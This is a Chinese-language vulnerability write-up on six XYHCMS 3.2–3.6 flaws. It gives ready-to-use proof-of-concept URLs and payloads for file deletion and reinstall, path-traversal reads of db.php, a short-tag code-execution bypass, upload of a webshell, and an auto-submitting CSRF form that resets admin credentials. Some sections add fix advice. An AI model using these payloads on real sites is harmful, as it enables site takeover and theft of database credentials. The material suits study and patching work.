作者:掌控安全-柚子
一.XYHCMS 3.2 后台任意文件删除
漏洞介绍
影响版本是XYHCMS 3.2,漏洞的成因是没有对删除的文件没有做任何限制,导致可以直接把安装文件删除。
漏洞分析
打开
/App/Manage/Controller/DatabaseController.class.php
文件。
锁定 delSqlFiles()函数。
漏洞复现
1.进入后台
2.删除安装锁文件
方法一:get方式
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSq
lFiles/sqlfilename/..\\..\\..\\install/install.lock
方法二:post方式
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/delSqlFiles /batchFlag/1
POST数据:key[]= ../../../install/install.lock
3.接下来直接访问
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/install 重装cms
二.XYHCMS 3.2 后台任意文件下载
漏洞介绍
影响版本是XYHCMS 3.2,漏洞的成因是没有对下载的文件做任何限制。
漏洞分析
找到
/App/Manage/Controller/DatabaseController.class.php
文件。
锁定downfile()方法下载函数。
这里并没有对下载的文件有限制,所以我们可以通过这段代码去构造poc。
漏洞复现
1.进入后台页面。
2.构造poc
http://127.0.0.1/xyhcms_3.5_20171128/uploads_code/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip
3.数据库配置文件就下载下来了。
三.XYHCMS 3.5任意文件读取漏洞
环境准备
XYHCMS官网:http://www.xyhcms.com/
网站源码版本:XYHCMS V3.5(2017-12-04 更新)
程序源码下载:http://www.xyhcms.com/Show/download/id/2/at/0.html
漏洞分析
漏洞文件位置:/App/Manage/Controller/TempletsController.class.php
第59-83行:
声明了3个变量:
$ftype 文件类型;
$fname 文件名;
$file_path 文件路径
这段代码对提交的参数进行处理,然后判断是否POST数据上来
如果有就进行保存等,如果没有POST数据,将跳过这段代码继续向下执行。
通过这段代码,我们发现可以通过GET
传入fname
,跳过前面的保存文件过程,进入文件读取状态。
问题就出现在这里,对fname
进行base64解码
,判断fname
参数是否为空,拼接成完整的文件路径,然后判断这个文件是否存在,读取文件内容。
对fname未进行任何限制,导致程序在实现上存在任意文件读取漏洞,可以读取网站任意文件,攻击者可利用该漏洞获取敏感信息。
我们可以通过GET
方式提交fname
参数,并且将fname
进行base64
编码,构造成完整的路径,读取配置文件信息。
####
漏洞复现
登录网站后台
数据库配置文件路径: \App\Common\Conf\db.php
我们将这段组成相对路径,......\App\Common\Conf\db.php,
然后进行base64编码,
Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
[POC]最后构造的链接如下:
http://127.0.0.1/XYHCms_V3.5/uploads_code/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
修复建议
-
取消base64解码,过滤.(点)等可能的恶意字符。
-
正则判断用户输入的参数的格式,看输入的格式是否合法:这个方法的匹配最为准确和细致,但是有很大难度,需要大量时间配置。
###
四.xyhcms 3.6 后台代码执行漏洞
漏洞描述
XYHCMS是一款开源的CMS内容管理系统。
XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。
代码中使用黑名单过滤<?php 却忘记过滤短标签,导致后台系统设置-网站设置处可使用短标签在站点表述处getshell。
漏洞分析
按步骤安装好网站之后,找到../App/Runtime/Data/config/site.php
这个文件。
找到对应功能看他是怎么控制的。
很明显,我们要去找一个System
相关的控制器。
这里可以锁定App/Manage/Controller/SystemController.class.php
这个文件。
if (stripos($data[$key], '<?php') !== false || preg_match($preg_param,$data[$key])) { $this->error('禁止输入php代码');
}
这里就是可以直接写入到php文件 ,而且我们可以看到他使用了黑名单禁止<?php写入
但是我们看到这里让开启了短标签,(PHP默认是开启PHP短标签的,即默认情况下short_open_tag=ON)<?=,它和 <? echo 等价, 从 PHP 5.4.0 起, <?= 总是可用的
漏洞复现
找到后台—系统设置—网站设置
<?=phpinfo();?>
就可以很简单的绕过限制。
修复方法
官方已经在最新版修复,简单粗暴的过滤
if (stripos($data[$key], '<?php') !== false || ($short_open_tag && stripos($data[$key], '<?') !== false) || preg_match($preg_param, $data[$key])) {
$this->error('禁止输入php代码');
}
即当开启短标签时过滤<?,使得我们的php写入失效。
五.XYHCMS 3.6 后台文件上传getshell
漏洞介绍
此漏洞的影响范围是XYHCMS 3.6。
漏洞形成原因是:对后缀过滤不严,未过滤php3-5,phtml(老版本直接未过滤php)。
漏洞分析
找到
/App/Manage/Controller/SystemController.class.php
文件中第246-255行代码
if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
$_no_exts = array('php', 'asp', 'aspx', 'jsp');
foreach ($_file_exts as $ext) {
if (in_array($ext, $_no_exts)) {
$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!'); }
}
}
会看到她不允许的文件后缀有:
php,asp,aspx,jsp
。
我们可以通过这个思路,上传php3-5,phtml文件后缀的文件就能够绕过限制。
漏洞复现
1.进入后台
2.系统设置->网站设置->上传配置->允许附件类型
3.添加类型 php3或 php4或 php5 或 phtml
4.点击下面的 水印图片上传上传以上后缀shell
5.之后会在图片部分显示上传路径
六.XYHCMS 3.6 CSRF 漏洞
漏洞介绍
此版本存在一个csrf漏洞,可以更改管理员的任何信息(姓名、电子邮件、密码等)。
漏洞复现
poc:
<html>
<head>
<script>
function submit(){
var form = document.getElementById('test_form');
form.submit();
}
</script>
</head>
<body onload="submit()">
<script>history.pushState('', '', '/')</script>
<form action="http://xyh.com/xyhai.php?s=/Auth/editUser" method="POST" id="test_form">
<input type="hidden" name="id" value="3" />
<input type="hidden" name="username" value="test" />
<input type="hidden" name="password" value="qweqwe" />
<input type="hidden" name="department[]" value="1" />
<input type="hidden" name="department[]" value="4" />
<input type="hidden" name="department[]" value="3" />
<input type="hidden" name="group_id[]" value="1" />
<input type="hidden" name="realname" value="13" />
<input type="hidden" name="email" value="aa@test.com" />
<input type="hidden" name="is_lock" value="0" />
</form>
</body>
</html>
1.修改前如下图所示:
3.修改后如下图所示: